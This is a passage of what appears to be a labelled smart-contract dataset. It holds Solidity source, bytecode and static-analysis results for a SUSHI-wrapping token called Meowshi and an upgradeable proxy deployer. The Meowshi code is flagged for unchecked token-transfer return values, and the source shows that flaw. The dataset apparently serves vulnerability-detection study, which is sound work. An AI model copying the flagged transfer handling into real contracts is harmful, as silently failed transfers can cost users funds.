for `to`. function unyan(address to, uint256 amount) external returns (uint256 amountOut) { nyanBurn(amount); (amountOut, ) = bentoBox.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier); } // **** SUSHI /// @notice Enter Meowshi. Deposit SUSHI `amount`. Mint NYAN for `to`. function nyanSushi(address to, uint256 amount) external returns (uint256 shares) { sushiToken.transferFrom(msg.sender, address(this), amount); ISushiBar(sushiBar).enter(amount); (, shares) = bentoBox.deposit(IERC20(sushiBar), address(this), address(this), ISushiBar(sushiBar).balanceOf(address(this)), 0); nyanMint(to, shares * multiplier); } /// @notice Leave Meowshi. Burn NYAN `amount`. Claim SUSHI for `to`. function unyanSushi(address to, uint256 amount) external returns (uint256 amountOut) { nyanBurn(amount); (amountOut, ) = bentoBox.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier); ISushiBar(sushiBar).leave(amountOut); sushiToken.transfer(to, sushiToken.balanceOf(address(this))); } // **** SUPPLY MGMT /// @notice Internal mint function for *nyan*. function nyanMint(address to, uint256 amount) private { balanceOf[to] += amount; totalSupply += amount; emit Transfer(address(0), to, amount); } /// @notice Internal burn function for *unyan*. function nyanBurn(uint256 amount) private { balanceOf[msg.sender] -= amount; totalSupply -= amount; emit Transfer(msg.sender, address(0), amount); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a9059cbb11610071578063a9059cbb14610257578063d2423b511461026a578063d505accf1461027f578063dd62ed3e14610292578063f9930635146102ba57600080fd5b806370a08231146101e15780637ecebe001461020157806395d89b41146102215780639a7bdfb61461024457600080fd5b80631de49c21116100de5780631de49c211461019957806323b872dd146101ac578063313ce567146101bf5780633644e515146101d957600080fd5b806306fdde0314610110578063095ea7b31461014c57806316c84f351461016f57806318160ddd14610190575b600080fd5b610136604051806040016040528060078152602001664d656f7773686960c81b81525081565b6040516101439190611371565b60405180910390f35b61015f61015a36600461115c565b6102cd565b6040519015158152602001610143565b61018261017d36600461115c565b610338565b604051908152602001610143565b61018260035481565b6101826101a736600461115c565b610562565b61015f6101ba3660046110b0565b610797565b6101c7601281565b60405160ff9091168152602001610143565b610182610899565b6101826101ef36600461105d565b60016020526000908152604090205481565b61018261020f36600461105d565b60026020526000908152604090205481565b61013660405180604001604052806004815260200163272ca0a760e11b81525081565b61018261025236600461115c565b6108f9565b61015f61026536600461115c565b6109f5565b61027d610278366004611185565b610a73565b005b61027d61028d3660046110eb565b610b5d565b6101826102a036600461107e565b600060208181529281526040808220909352908152205481565b6101826102c836600461115c565b610dae565b336000818152602081815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103269086815260200190565b60405180910390a35060015b92915050565b6040516323b872dd60e01b815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b15801561039457600080fd5b505af11580156103a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103cc9190611206565b50604051632967cf8360e21b815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b15801561041a57600080fd5b505af115801561042e573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820181905273f5bce5077908a1b7370b9ae04adc565ebd64396693506302b9446c9250738798249c2e607446efb7ad49ec89dd1865ff427291819083906370a082319060240160206040518083038186803b15801561049e57600080fd5b505afa1580156104b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d691906112cb565b60006040518663ffffffff1660e01b81526004016104f895949392919061133d565b6040805180830381600087803b15801561051157600080fd5b505af1158015610525573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054991906112e3565b915061033290508361055d61271084611428565b610e71565b600061056d82610eea565b73f5bce5077908a1b7370b9ae04adc565ebd6439666397da6d30738798249c2e607446efb7ad49ec89dd1865ff4272308060006105ac61271089611408565b6040518663ffffffff1660e01b81526004016105cc95949392919061133d565b6040805180830381600087803b1580156105e557600080fd5b505af11580156105f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061d91906112e3565b506040516367dfd4c960e01b815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b15801561066e57600080fd5b505af1158015610682573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820152736b3595068778dd592e39a122f4f5a5cf09c90fe2925063a9059cbb9150859083906370a082319060240160206040518083038186803b1580156106da57600080fd5b505afa1580156106ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071291906112cb565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561075857600080fd5b505af115801561076c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107909190611206565b5092915050565b6001600160a01b038316600090815260208181526040808320338452909152812054600019146107f8576001600160a01b038416600090815260208181526040808320338452909152812080548492906107f2908490611447565b90915550505b6001600160a01b03841660009081526001602052604081208054849290610820908490611447565b90915550506001600160a01b0383166000908152600160205260408120805484929061084d9084906113f0565b92505081905550826001600160a01b0316846001600160a01b03166000805160206114e38339815191528460405161088791815260200190565b60405180910390a35060019392505050565b6000467f000000000000000000000000000000000000000000000000000000000000000181146108d1576108cc81610f50565b6108f3565b7f2b0c327146e5beae0c1cc3781a41ef36e30cf83bd24b96cdeb70ea668e4a34835b91505090565b6040516323b872dd60e01b815233600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b15801561096957600080fd5b505af115801561097d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a19190611206565b5060405162ae511b60e21b815273f5bce5077908a1b7370b9ae04adc565ebd643966906302b9446c906104f890738798249c2e607446efb7ad49ec89dd1865ff42729084903090889060009060040161133d565b33600090815260016020526040812080548391908390610a16908490611447565b90915550506001600160a01b03831660009081526001602052604081208054849290610a439084906113f0565b90915550506040518281526001600160a01b0384169033906000805160206114e383398151915290602001610326565b60005b82811015610b575760008030868685818110610aa257634e487b7160e01b600052603260045260246000fd5b9050602002810190610ab491906113a4565b604051610ac2929190611306565b600060405180830381855af49150503d8060008114610afd576040519150601f19603f3d011682016040523d82523d6000602084013e610b02565b606091505b509150915081158015610b125750835b15610b4257610b2081610faa565b60405162461bcd60e51b8152600401610b399190611371565b60405180910390fd5b50508080610b4f9061148a565b915050610a76565b50505050565b6001600160a01b038716610bb35760405162461bcd60e51b815260206004820152601860248201527f45524332303a204f776e65722063616e6e6f74206265203000000000000000006044820152606401610b39565b834210610bf35760405162461bcd60e51b815260206004820152600e60248201526d115490cc8c0e88115e1c1a5c995960921b6044820152606401610b39565b6001600160a01b03871660008181526002602052604081208054600192610c9d927f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9928d928d928d9291610c468361148a565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810188905260e00160405160208183030381529060405280519060200120611009565b6040805160008152602081018083529290925260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015610ceb573d6000803e3d6000fd5b505050602060405103516001600160a01b031614610d4b5760405162461bcd60e51b815260206004820152601860248201527f45524332303a20496e76616c6964205369676e617475726500000000000000006044820152606401610b39565b6001600160a01b03878116600081815260208181526040808320948b168084529482529182902089905590518881527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b6000610db982610eea565b73f5bce5077908a1b7370b9ae04adc565ebd6439666397da6d30738798249c2e607446efb7ad49ec89dd1865ff427230866000610df861271089611408565b6040518663ffffffff1660e01b8152600401610e1895949392919061133d565b6040805180830381600087803b158015610e3157600080fd5b505af1158015610e45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6991906112e3565b509392505050565b6001600160a01b03821660009081526001602052604081208054839290610e999084906113f0565b925050819055508060036000828254610eb291906113f0565b90915550506040518181526001600160a01b038316906000906000805160206114e38339815191529060200160405180910390a35050565b3360009081526001602052604081208054839290610f09908490611447565b925050819055508060036000828254610f229190611447565b909155505060405181815260009033906000805160206114e38339815191529060200160405180910390a350565b604080517f47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a7946921860208201529081018290523060608201526000906080015b604051602081830303815290604052805190602001209050919050565b6060604482511015610fef57505060408051808201909152601d81527f5472616e73616374696f6e2072657665727465642073696c656e746c79000000602082015290565b600482019150818060200190518101906103329190611222565b600060405180604001604052806002815260200161190160f01b81525061102e610899565b83604051602001610f8d93929190611316565b80356001600160a01b038116811461105857600080fd5b919050565b60006020828403121561106e578081fd5b61107782611041565b9392505050565b60008060408385031215611090578081fd5b61109983611041565b91506110a760208401611041565b90509250929050565b6000806000606084860312156110c4578081fd5b6110cd84611041565b92506110db60208501611041565b9150604084013590509250925092565b600080600080600080600060e0888a031215611105578283fd5b61110e88611041565b965061111c60208901611041565b95506040880135945060608801359350608088013560ff8116811461113f578384fd5b9699959850939692959460a0840135945060c09093013592915050565b6000806040838503121561116e578182fd5b61117783611041565b946020939093013593505050565b600080600060408486031215611199578283fd5b833567ffffffffffffffff808211156111b0578485fd5b818601915086601f8301126111c3578485fd5b8135818111156111d1578586fd5b8760208260051b85010111156111e5578586fd5b602092830195509350508401356111fb816114d1565b809150509250925092565b600060208284031215611217578081fd5b8151611077816114d1565b600060208284031215611233578081fd5b815167ffffffffffffffff8082111561124a578283fd5b818401915084601f83011261125d578283fd5b81518181111561126f5761126f6114bb565b604051601f8201601f19908116603f01168101908382118183101715611297576112976114bb565b816040528281528760208487010111156112af578586fd5b6112c083602083016020880161145e565b979650505050505050565b6000602082840312156112dc578081fd5b5051919050565b600080604083850312156112f5578182fd5b505080516020909101519092909150565b8183823760009101908152919050565b6000845161132881846020890161145e565b91909101928352506020820152604001919050565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b602081526000825180602084015261139081604085016020870161145e565b601f01601f19169190910160400192915050565b6000808335601e198436030181126113ba578283fd5b83018035915067ffffffffffffffff8211156113d4578283fd5b6020019150368190038213156113e957600080fd5b9250929050565b60008219821115611403576114036114a5565b500190565b60008261142357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611442576114426114a5565b500290565b600082821015611459576114596114a5565b500390565b60005b83811015611479578181015183820152602001611461565b83811115610b575750506000910152565b600060001982141561149e5761149e6114a5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b80151581146114df57600080fd5b5056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220bffd4412e8d44fa6c8f75f67c95e5de6d511511abd2f92daae347642a3a04df564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,194
0xeEa5906291BeD7E9d7eF19c58a6ac6B41dD4B5fD
pragma solidity 0.6.6; // SPDX-License-Identifier: UNLICENSED interface IProxyDeployer { function admin() external returns (address); function deployProxy(address _logic) external returns (address); function deployProxy(address _logic, bytes calldata _data) external returns (address); } // SPDX-License-Identifier: MIT /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable UpgradeabilityProxy(_logic, _data) { assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } // SPDX-License-Identifier: UNLICENSED contract ProxyDeployer is IProxyDeployer { address public override admin; event AdminChanged(address previousAdmin, address newAdmin); modifier isAdmin() { require(msg.sender == admin, "isAdmin: Caller not an admin!"); _; } constructor(address _admin) public { require(_admin != address(0), "constructor: _admin is 0"); admin = _admin; } function deployProxy(address _logic) external override returns (address) { AdminUpgradeabilityProxy proxy = new AdminUpgradeabilityProxy(_logic, admin, ""); return address(proxy); } function deployProxy(address _logic, bytes calldata _data) external override returns (address) { AdminUpgradeabilityProxy proxy = new AdminUpgradeabilityProxy(_logic, admin, _data); return address(proxy); } function changeAdmin(address _newAdmin) external isAdmin { require(_newAdmin != address(0), "changeAdmin: _newAdmin is 0"); emit AdminChanged(admin, _newAdmin); admin = _newAdmin; } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80638f283970146100515780639f5eed7514610086578063cbd433f41461013c578063f851a4401461016f575b600080fd5b6100846004803603602081101561006757600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610177565b005b6101136004803603604081101561009c57600080fd5b73ffffffffffffffffffffffffffffffffffffffff82351691908101906040810160208201356401000000008111156100d457600080fd5b8201836020820111156100e657600080fd5b8035906020019184600183028401116401000000008311171561010857600080fd5b50909250905061031b565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101136004803603602081101561015257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166103e9565b61011361046e565b60005473ffffffffffffffffffffffffffffffffffffffff1633146101fd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f697341646d696e3a2043616c6c6572206e6f7420616e2061646d696e21000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811661027f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f6368616e676541646d696e3a205f6e657741646d696e20697320300000000000604482015290519081900360640190fd5b6000546040805173ffffffffffffffffffffffffffffffffffffffff9283168152918316602083015280517f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f9281900390910190a1600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600080846000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16858560405161034f9061048a565b73ffffffffffffffffffffffffffffffffffffffff808616825284166020820152606060408201818152908201839052608082018484808284376000838201819052604051601f9092017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169093018190039850965090945050505050f0801580156103df573d6000803e3d6000fd5b5095945050505050565b600080546040518291849173ffffffffffffffffffffffffffffffffffffffff909116906104169061048a565b73ffffffffffffffffffffffffffffffffffffffff928316815291166020820152606060408083018290526000918301829052519182900360a0019190f080158015610466573d6000803e3d6000fd5b509392505050565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b610af6806104988339019056fe6080604052604051610af6380380610af68339818101604052606081101561002657600080fd5b8151602083015160408085018051915193959294830192918464010000000082111561005157600080fd5b90830190602082018581111561006657600080fd5b825164010000000081118282018810171561008057600080fd5b82525081516020918201929091019080838360005b838110156100ad578181015183820152602001610095565b50505050905090810190601f1680156100da5780820380516001836020036101000a031916815260200191505b5060408181527f656970313936372e70726f78792e696d706c656d656e746174696f6e0000000082525190819003601c019020869350849250600080516020610a9b83398151915260001990910114905061013157fe5b610143826001600160e01b0361026516565b8051156101fb576000826001600160a01b0316826040518082805190602001908083835b602083106101865780518252601f199092019160209182019101610167565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146101e6576040519150601f19603f3d011682016040523d82523d6000602084013e6101eb565b606091505b50509050806101f957600080fd5b505b5050604080517f656970313936372e70726f78792e61646d696e0000000000000000000000000081529051908190036013019020600080516020610a7b8339815191526000199091011461024b57fe5b61025d826001600160e01b036102c516565b5050506102dd565b610278816102d760201b6106b01760201c565b6102b35760405162461bcd60e51b815260040180806020018281038252603b815260200180610abb603b913960400191505060405180910390fd5b600080516020610a9b83398151915255565b600080516020610a7b83398151915255565b3b151590565b61078f806102ec6000396000f3fe60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104bb565b6101ed6101e861054f565b610574565b565b6101f7610598565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105bd565b610240565b6102406101d5565b50565b61024b610598565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105bd565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b6000610321610598565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61054f565b905061036b565b61036b6101d5565b90565b610376610598565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e610598565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a16102338161060a565b6000610480610598565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610598565b6104c3610598565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610593573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105c68161062e565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b610637816106b0565b61068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220e136fe38bdfbe7de8faf529a0f07cc7d0c494e330b78d3f3698acb697622649464736f6c63430006060033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc43616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220fb145d51eca78a357b54a7270813fa6147a992df0112b9d4af81306279e2cec764736f6c63430006060033
{"success": true, "error": null, "results": {}}
3,195
0x2183054f55a40e42734740a8068baaa848669f0f
